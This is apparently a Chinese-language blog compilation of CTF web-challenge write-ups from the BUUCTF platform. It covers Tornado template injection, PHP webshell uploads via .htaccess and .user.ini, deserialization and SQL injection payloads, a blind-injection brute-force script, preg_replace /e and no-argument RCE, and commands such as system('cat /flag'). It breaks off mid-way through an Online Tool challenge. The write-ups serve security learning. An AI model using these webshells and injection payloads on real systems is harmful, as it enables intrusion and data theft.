歪比吧卜

[护网杯 2018]easy_tornado 1

进入答题页面,发现三个超链接
分别点击进去
再点击进去后url中传输了两个参数,一个是filename,另一个是filehash,在第一个flag.txt中把filename改为提示的/fllllllllllllag试试

提交后页面显示error

看来拿到flag的关键就在于解出filehash是什么,根据第三个超链接的提示,应该是filehash=md5(cookie_secret+md5(filename)),filename现已知,但cookie_secret是什么呢,而且第二个rander也没有用到,也并不清楚有什么用,只能去查一下tornado框架有什么特点了
tornado框架的介绍

我们在这个文档里面可以知道cookie_secret并不像我们的cookie一样可以自己修改的(不是自己的cookie),而是包含了时间戳,HMAC签名和编码后的cookie值,所以我们自己修改cookie并不现实。
想到render会不会是cookie_secret的突破点,找一下render作用

render意为渲染;self.render(“entry.html”,entry=entry)该语句意思就是找到entry.html这个模板,用右边这个entry来实例化entry.html模板中的entry参数,从而显示在页面上。

回过头发现flag.txt那个Error的页面有一个参数msg也是等于Error

发现msg可以左右页面的输出,想到之前有些题目利用一个参数可以出来phpinfo()等,因此现在目标就是怎么利用msg这个参数来找到cookie_secret了

在文档中我们可以看到相关render渲染的作用,我们可以利用 {{}} 来把表达式传进去以获取我们想要的信息,这样我们猜想msg={{cookie的位置}}来获得我们想要的

cookie_secret在Application对象settings的属性中,访问它的话就需要知道它的属性名字,根据查阅可知:self.application.settings有一个别名是RequestHandler.settings其中handler又是指向处理当前这个页面的RequestHandler对象
RequestHandler.settings指向self.application.settings
因此handler.settings指向RequestHandler.application.settings

将handler.setting带入msg即可知道cookie_secret,再来一步步根据MD5来计算filehash


回到hints.txt
现在已经知道了cookie_secret的值,MD5(filename)就是/fllllllllllllag的MD5的值
=3bf9f6cf685a6dd8defadabfb41a03a1
把cookie_secret和MD5(filename)加起来再进行MD5加密即可得出flag

[MRCTF2020]你传你🐎呢 1

这题是个文件上传题,按照老方法先上传一个木马1.png 内容:<?php evel($_POST['a']);?>
再上传一个.user.ini:内容为auto_prepend_file=1.png 上传之后他会给一个连接,进入/upload之后的连接,用蚁剑连接也不能成功连接,也写不了命令,那么我们只有换一种方法了。

先上传一个1.png文件
内容为:<?php eval($_POST['a']);?>
再上传一个.htaccess文件,
内容为:SetHandler application/x-httpd-php

htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向、自定义404错误界面、改变文件拓展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
这里htaccess内容的意思是设置当前目录所有文件都使用php解析

这里要记得把Content-Type的内容修改一下

复制/upload之后的url并进入

1
url:http://c59ecfdc-0a3d-4ed6-92d7-74b6bcc602d4.node4.buuoj.cn:81/upload/7a439cdf1a27a4860163c7641f0dc7fe/1.png

此时我们可以post输入命令

1
2
a=print_r(glob("/*"));
a=highlight_file("/flag");

以获取flag

或以当前url连接中国蚁剑,以获取flag

[ZJCTF 2019]NiZhuanSiWei 1

打开之后是一段源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

一共有三个参数,都需要通过GET方式传入
isset的作用是检测变量是否已设置并且非null
file_get_contents的作用是将整个文件读入一个字符串
这里将text文件中读取字符串,还要和welcome to the zjctf相等
这里使用的是data://写入协议
payload:

1
?text=data://text/plain,welcome to the zjctf

1
preg_match("/flag/",$file)

正则表达式,说明file不能出现flag字符
但是源码提示了useless.php这里使用php伪协议来读取文件

1
php://filter/read=convert.base64-encode/resource=useless.php

payload:

1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

使用base64解码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

这里最后会echo输出file
将flag.php的值给了file,然后反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 

class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
echo serialize($password);
?>

使用php编译器phpstorm

payload:

1
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

方法二

用filter链漏洞来绕过,被禁用的flag
这里要用到一个工具php_filter_chain_generator

同样查看源码就能看到flag了


查看源码即可看到flag

[极客大挑战 2019]HardSQL 1

sql注入题,先试试万能密码username=1' or 1=1#
password=123

经过一系列尝试后,发现空格,=,union都被过滤了
空格被过滤我们使用()来代替空格/**/貌似也被过滤了
既然如此,尝试一下报错注入
爆库
payload:username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#&password=1

爆表
payload:username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#&password=1

爆字段
payload:username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#&password=1

爆值
payload:username=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#&password=1

并没有成功显示flag,只显示了一半~
经过查询知道了right()可以查询后面的部分
payload:username=1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))#&password=1
和前面显示出的flag拼接删改得到完整的flag

[MRCTF2020]Ez_bypass 1

直接给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}
Please input first

发现第五个if可以获得flag
先第一个if
if(isset($_GET['gg'])&&isset($_GET['id']))
isset检查是否有效,随便输一个字符就能通过
第二个if
if (md5($id) === md5($gg) && $id !== $gg)
绕过这个if要先想到MD5漏洞,我先想到的是0e开头的漏洞
ps:md5 值是 0e 开头,在 php 弱类型比较中判断为相等
再看回来,弱比较是==,而本题中是===强比较,所以不能用这个绕过
在查阅后发现还有一种方法——数组绕过a[]=a&b[]=b
虽然会报错,但判断为真,判断为null===null
而且id!=gg
payload:?gg[]=gg&id[]=id

You got the first steponly one way to get the flag

得到了我们需要的结果you got the first step
但多出来一句 only one way to get the flag
查看源代码发现是这一句是第三个if的else语句,说明第三个if并未绕过,
if(isset($_POST['passwd']))
同样随便post一个字符就能绕过

再看第四个if
if (!is_numeric($passwd))
is_numeric()函数是检测是否为数字字符,是则ture
这里为!is_numeric(),就是不能全为数字字符
同时我们看向第五个if
if($passwd==1234567)
与第四个if相反,要同时满足两个if条件才能获得flag
先试着把1234567转化为16进制
passwd=12D687
提交后只绕过了第四个if,不行
百度一下发现

passwd:1234567%00
passwd:1234567%20
成功得到flag

[HCTF 2018]admin

进入页面,先查看源代码,发现源代码里有注释you are not admin
flag应该在admin中,看到右边有register和login,先随便注册一个看看什么效果
登录进去发现多了几个选项

挨个查看源代码

发现在change password中的源代码与其他不同,显示了一个github网址,进入查看网页竟然不存在,那就换一种方法,register注册一个admin,显示已被注册,那么我们试试直接login admin,密码随意,竟然成功了

成功显示flag,后续会跟进其他方法

[SUCTF 2019]CheckIn

先上传一个.user.ini 内容为auto_prepend_file=12.txt
上传失败,显示exif_imagetype:not image!,没有图像,那么我们使用文件幻术头绕过

再次上传,成功

再上传一个常用的木马文件
上传错误,显示<? in contents!
屏蔽了一些符号导致无法上传
换种方法上传

这次成功上传

进入给出的地址
先输入a=phpinfo()试试能不能运行命令

有回显,成功执行
继续post a=system(“cat /flag”)

成功显示flag

[GXYCTF2019]BabyUpload

上传.htaccess(以jpg形式抓包修改后缀名)

上传一个木马

1
<?php eval($_POST['a']);?>

失败,过滤了<?
换一种方式

1
<script language='php'>eval($_POST['a']);</script>

上传成功,蚁剑连接以找到flag

[GXYCTF2019]BabySQli

首先在靶机页面里他给了个github网址,进入在web/babysqli/html/search.php里找到重要源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}

输入万能钥匙1’ or 1=1#显示do not hack me 与上面对应,限制了or

抓包

这里显示wrong user!
挨个试试1,2,3的位置,把它们改为’admin’,在2位置时回显发生了改变

wrong pass!
跳过了user,那么3的位置就是password了
注意到上面的代码if中有MD5,使if成立
设密码为abc,MD5加密后为:900150983cd24fb0d6963f7d28e17f72

[GYCTF2020]Blacklist

输入 1';show tables;#

根据字面意思,flag应该在FlagHere里
输入 1';cat FlagHere
没有显示

联合注入
输入 1';select from FlagHere;#

显示了被过滤掉的内容

尝试双写绕过
1';sselectelect from FlagHere
不通过

尝试大小写绕过
1';sElECt from FlagHere;#
同样不通过

handler语法

1
2
3
4
handler语句,一行一行的浏览一个表中的数据。
handler语句并不具备select语句中的所有功能。
mysql专用的语句,并没有包含到sql标准中。
handler语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表
  1. HANDLER tbl_name OPEN
    打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
  2. HANDLER tbl_name READ FIRST
    获取句柄的第一行,通过READ NEXT依次获取其它行,ui后一行执行之后再执行NEXT会返回一个空的结果。
  3. HANDLER tbl_name CLOSE
    关闭打开的句柄
  4. HANDLER tbl_name READ index_name=value
    通过索引列指定一个值,可以指定从哪一行开始,通过NEXT继续浏览。

输入

1
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#


成功

[网鼎杯 2020 青龙组]AreUSerialz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

经过分析,这个题目需要传入一个序列化之后的类对象,并且要绕过两层防护:

两个防护

is_valid()
要求我们传入的str的每个字母的ascli值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。

绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符。

destruct()魔术方法
op===”2”,是强比较

1
2
3
4
5
6
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

而在process()函数中,op==”2”是弱比较

1
2
3
4
5
6
7
8
9
10
11
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

所以可以使传入的op为数字2,从而使第一个强比较返回false,而使第二个弱比较返回true

本地进行序列化操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class FileHandler {

public $op = 2;
public $filename = "flag.php";
public $content = "1"; //因为destruce函数会将content改为空,所以content的值随意(但是要满足is_valid()函数的要求)
}

$a = new FileHandler();
$b = serialize($a);
echo $b;

?>

序列化结果:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}

payload:?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}

查看源码找到flag

也可以使用伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class FileHandler {

public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = "2";

}

$a = new FileHandler();
$b = serialize($a);
echo $b;

?>

使用过base64解码得到flag

[CISCN2019 华北赛区 Day2 Web1]Hack World

All You Want Is In Table ‘flag’ and the column is ‘flag’
确定表和字段

随便输入
查询1,2会有回显,其它的会显示错误
id=1 Hello, glzjin wants a girlfriend.
id=2 Do you want to be my girlfriend?
输入if(true,1,2) 返回Hello, glzjin wants a girlfriend.
输入if(false,1,2) 返回Do you want to be my girlfriend?

可以用这种方法判断flag的值
写一个脚本(要用到time.sleep,以防出现429错误,这个脚本有个小问题就是它不能匹配-,所以要在空缺的地方把-补好,在我的机器中time.sleep()最好的设置为0.1-0.4,因为到了后面仍然不会显示-)
429错误:表示客户端发送的请求过多,超出了服务器的处理能力或限制。 它是一种反应速率限制的状态码,用于告知客户端暂时无法处理请求。 在实际应用中,当收到429状态码时,客户端应该采取措施减少请求频率或优化代码,以降低服务器的负载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time

s=requests.session()
flag = ''
for i in range(1,60):
for j in '-{abcdefghijklmnopqrstuvwxyz0123456789}':
url="http://becd3bf4-4a7a-41db-af52-6bc45f25b20e.node4.buuoj.cn:81/index.php"
sqls="if(ascii(substr((select(flag)from(flag)),{},1))=ascii('{}'),1,2)".format(i,j)
#print(i)
#print(sqls)
data={"id":sqls}
c = s.post(url,data=data)
#print(c.text)
time.sleep(1.0)
if 'Hello' in c.text:
flag += j
print(i)
print(flag)
break

print(flag)

[网鼎杯 2018]Fakebook

看到注册首先想到了存储型xss,一顿x返回的PHPSESSID并没有什么用
正常注册blog就填www.baidu.com
自动跳转到下一个页面后,可以发现username是一个超链接
点击进入

1
http://c5d58095-7b7c-4cad-b014-237ca4cccdcf.node4.buuoj.cn:81/view.php?no=1

疑似SQL注入
过滤了union select,用union all select绕过
payload:

1
?no=-1 union all select 1,data,3,4 from users

username列返回O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:13:"www.baidu.com";}

属于是被序列化了,那应该还有我们应该知道的源代码没有找到
dirsearch扫一扫
扫出这么几个能用的文件

1
2
3
4
5
6
/db.php
/error.php
/flag.php
/login.php
/robots.txt
/view.php

进入/robots.txt找到/user.php.bak
下载
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
highlight_file(__FILE__);

class UserInfo
{
public $name = "admin";
public $age = 12;
public $blog = "/var/www/html/flag.php";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();//初始化一个cURL会话

curl_setopt($ch, CURLOPT_URL, $url);//为给定的cURL会话句柄设置一个选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);//执行给定的cURL会话
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);//获取一个cURL连接资源句柄的信息
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

需要了解的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function get($url)
{
$ch = curl_init();//初始化一个cURL会话

curl_setopt($ch, CURLOPT_URL, $url);//为给定的cURL会话句柄设置一个选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);//执行给定的cURL会话
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);//获取一个cURL连接资源句柄的信息
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

  • curl_init : 初始化一个cURL会话,供curl_setopt(), curl_exec()和curl_close() 函数使用。
  • curl_setopt : 请求一个url。其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值。
  • CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出
  • curl_exec,成功时返回 TRUE, 或者在失败时返回 FALSE。 然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回 FALSE 。
  • CURLINFO_HTTP_CODE :最后一个收到的HTTP代码。
    curl_getinfo:以字符串形式返回它的值,因为设置了CURLINFO_HTTP_CODE,所以是返回的状态码。

如果状态码不是404,就返回exec的结果。
get函数在getBlogContents()里被调用,传参为blog
给参数赋个值,反序列化看看flag.php

1
2
3
4
5
$a=new UserInfo();
$a->name='admin';
$a->age=12;
$a->blog="file:///var/www/html/flag.php";
echo serialize($a);

payload

1
?no=-1 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'


查看源代码

base64解码就可得到flag了

[网鼎杯 2020 朱雀组]phpweb

页面一直在刷新,抓个包先

POST检查前面是函数,后面是参数
这里eval(system(‘ls’))用不了了,应该是被过滤了
应该是用了call_user_func()函数,用file_get_contents看一下源代码

1
func=file_get_contents&p=index.php

找到php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

过滤了很多函数,用反序列化试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a=new Test();
echo serialize($a);
?>
//O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

payload

1
2
3
4
5
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
//bg.jpg index.php index.php

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
//bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

flag应该是藏到了更隐蔽的位置

用find命令全局查找
payload:

1
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}


/tmp/flagoefiu4r93是flag的正确位置
payload:

1
2
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
//flag{d9827631-f2f1-407b-9ee9-5fc84da1246a}

用readfile也可以
payload:

1
2
3
4
5
func=readfile&p=/tmp/flagoefiu4r93

or

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"/tmp/flagoefiu4r93";s:4:"func";s:8:"readfile";}

[BSidesCF 2020]Had a bad day

源代码没有透漏出什么有用的信息
随便进入一个选项
看了看url栏,?category=woofers,应该存在sql注入

报错信息提取到include,和加了.php后缀
include的话我们使用伪协议
payload:

1
?category=php://filter/convert.base64-encode/resource=index

返回一大串base64编码解码后查看源码
源码中夹杂了php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

if(true||false||false)
返回的结果是true,也就是满足一个条件成立即可,我们现在要读取的是flag.php
使用相对路径
相对路径计算时中间目录不存在并不影响

1
2
?category=php://filter/convert.base64-encode/resource=woofers/../flag
//PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIGZsYWd7ZWE3NTMyYTktYTRjYS00MDA0LWIzOTEtZDAzZmY4Nzc3YmM0fQo/Pgo=

解码后就能得到flag了

还可以利用php://filter伪协议可以套一层协议读取flag.php
payload:

1
?category=php://filter/convert.base64-encode/index/resource=flag

套一个字符index符合条件并且传入flag,读取flag.php
可以发现当php定位不到我们自己加的filter时会报warning
但并没有影响执行

[BJDCTF2020]ZJCTF,不过如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

第一个if用data伪协议通过,flag被禁用了,那么读读注释里next.php 里的内容
payload:

1
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/convert.base64-encode/resource=next.php

next.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

preg_replace的/e模式存在命令执行漏洞,不知道这个$_SESSION[‘id’]是什么鬼
传送门非常详细
先来搞定这两个

1
2
3
4
5
6
7
8
9
10
11
12
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

payload:

1
?\S*=${phpinfo()}

成功显示我们需要显示的内容

需要传入$cmd参数,然后eval执行拿到flag
getFlag没有被调用
调用一下

1
?\S*=${getFlag()}&cmd=phpinfo();

成功,开始rce

1
?\S*=${getFlag()}&cmd=system('cat /flag');

[GXYCTF2019]禁止套娃

开始页面未找到可利用信息,抓包也什么没有发现
用dirsearch搜搜

出现了很多.git后缀的文件,确定为git源码泄露
使用githack扫一扫
扫出了网站的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

开始代码审计
这一题有很多的过滤
第二个if过滤让php伪协议data协议都不能用了
第二个if

1
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

[a-z,_]+ : [a-z,_]
匹配小写字母和下划线 +表示1到多个

(?R)?
(?R)代表当前表达式,就是这个(/[a-z,_]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())))

如果传进去的值是字符串接一个(),那么字符串就会被替换为空,如果(递归)替换后的字符串只剩下;,那么我们传进去的exp就会被eval执行。比如我们传入一个phpinfo();,他被替换后就剩下;,那么更具条件就会执行phpinfo();

而(?R)?能匹配的只有a(b()); a(b(c()));这种类型的,比如传入a(b(c()));,第一次匹配后,就剩a(b()),第二次匹配后,a();,第三次匹配后就剩下;了,最后a(b(c()))就会被eval执行。

这题的思路到这就很明确了,使用无参RCE
下面是无参RCE的常用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
getchwd():函数返回当前工作目录。
scandir():函数返回指定目录中的文件和目录的数组。
dirname():函数返回路径中的目录部分。
chdir():函数改变当前的目录。
readfile():输出一个文件。
current():返回数组中的当前单元, 默认取第一个值。
pos()current() 的别名。
next():函数将内部指针指向数组中的下一个元素,并输出。
end():将内部指针指向数组中的最后一个元素,并输出。
array_rand():函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip()array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice():函数在数组中根据条件取出一段值,并返回。
array_reverse():函数返回翻转顺序的数组。
chr() 函数从指定的:ASCII 值返回字符。
hex2bin():— 转换十六进制字符串为二进制字符串。
getenv():获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv():函数返回一包含本地数字及货币格式信息的数组。

payload:

1
?exp=print_r(scandir(pos(localeconv())));


代码解释:
想要浏览目录内的所有文件需要用到函数scandir()。当scandir()传入.,它就可以列出当前目录的所有文件。
但这里是无参数的RCE,我们不能写scandir(.),而localeconv()却会有一个返回值,那个返回值正好就是.,再配合poscurrent()就可以把.取出来传给scandir()查看所有文件了。

现在知道了flag的位置,flag为倒数第二个,我们可以使用翻转函数array_reverse(),再用一个next就可以查看flag文件了,查看flag文件可用函数为highlight_file(),readfile(),show_source()等等。。。
payload:

1
2
?exp=readfile(next(array_reverse(scandir(pos(localeconv())))));
//$flag = "flag{c4305172-c8af-4fa8-af1f-504d83d83583}";

虽然本题的flag位置不是那么特殊,但总会遇到特殊位置flag的题,可以用array_rand()array_flip()
(array_rand()返回的是键名所以必须搭配array_flip()来交换键名、键值来获得键值,随机刷新显示的内容)
payload:

1
?exp=show_source(array_rand(array_flip(scandir(pos(localeconv())))));

方法二:session_id()
上面的正则过滤中并没有过滤session,所以我们可以用session_id来获取flag
session_id()
可以用来获取/设置当前会话id。
php是默认不主动使用session的
在我们使用session_id()的时候 需要使用session_start()来开启session会话
PHPSESSID本身是可以直接加上例如flag.php这类的字符的
payload:

1
2
3
?exp=show_source(session_id(session_start()));
COOKIE:
PHPSESSID=flag.php

无参RCE传送门
写的非常好,收获颇丰🤤

[BJDCTF2020]The mystery of ip

启动环境
flag.txt

hint.php中查看源码的注释作者也说了Do you know why i know your ip?
结合题目与作者的hint,猜测本题x-forwarded-for处有问题
burpsuite抓抓

成功执行,说明XFF可控
控制XFF进行命令执行(这是要在前端有IP相关回显的情况)
查阅资料
Flask可能存在Jinjia2模版注入漏洞
PHP可能存在Twig模版注入漏洞
试试能否执行模板算式

1
x-forwarded-for:{{7*7}}


成功执行,尝试是否能执行命令

1
x-forwarded-for:{{system('ls')}}


无脑RCE
模板注入检测

[BUUCTF 2018]Online Tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
